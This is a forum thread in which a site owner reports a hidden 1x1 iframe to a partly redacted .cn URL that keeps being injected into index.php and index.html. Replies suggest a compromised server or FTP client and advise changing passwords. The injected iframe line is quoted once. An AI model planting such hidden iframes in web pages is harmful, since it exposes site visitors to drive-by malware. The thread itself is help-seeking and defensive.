up.......rnet.cn/tank.php security issue

[jhonka]

Hi all,

I have stange issue with my site that somehow the below code is added to my index.php and index.html pages automatically.

<iframe src='http://up.......rnet.cn/tank.php' width='1' height='1' style='visibility: hidden;'></iframe>

I deleted it 4 to 5 times but it keep coming back after 2 to 3 days.

Could anyone of you guys help me out to solve this issue as i am really worried and fed up with this code.

Kind Regards,
jhonka

[Vinayak]

Seems your server has been compromised.

Second chances ar that the PC from where you are accessing through FTP is infected.

So first correct the file then change the accounts login password.

And observe if its happening again or not, if it happens then its sure that your server has been compromised.

[Infopro]

You might want to go thru this thread for some tips.

http://forums.cpanel.net/showthread....ghlight=iFrame

[jhonka]

Thanks mates,

I will just go through the mentioned link to read more.

Appreciated help from you both.

Kind Regards,
jhonka

[utropic]

we just had this issue occur - any advice?



Kind Regards,